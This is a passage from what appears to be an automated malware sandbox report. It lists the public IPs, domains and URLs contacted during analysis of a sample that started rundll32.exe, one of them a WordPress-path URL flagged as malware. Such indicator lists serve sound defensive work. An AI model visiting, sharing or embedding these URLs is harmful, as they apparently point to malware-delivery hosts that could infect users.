17->41 21 rundll32.exe 17->21         started        signatures10 process11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
47.96.4.95
 www.duoyuhudong.cn China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
194.233.67.242
 sadabahar.com.np Germany
6659 NEXINTO-DE false

Contacted Domains

Name IP Active
www.duoyuhudong.cn 47.96.4.95 true
sadabahar.com.np 194.233.67.242 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.duoyuhudong.cn/wp-content/we8xi/ true
  • Avira URL Cloud: malware
 unknown
http://sadabahar.com.np/wp-includes/pUMqITCt83a/ false
  • Avira URL Cloud: safe
 unknown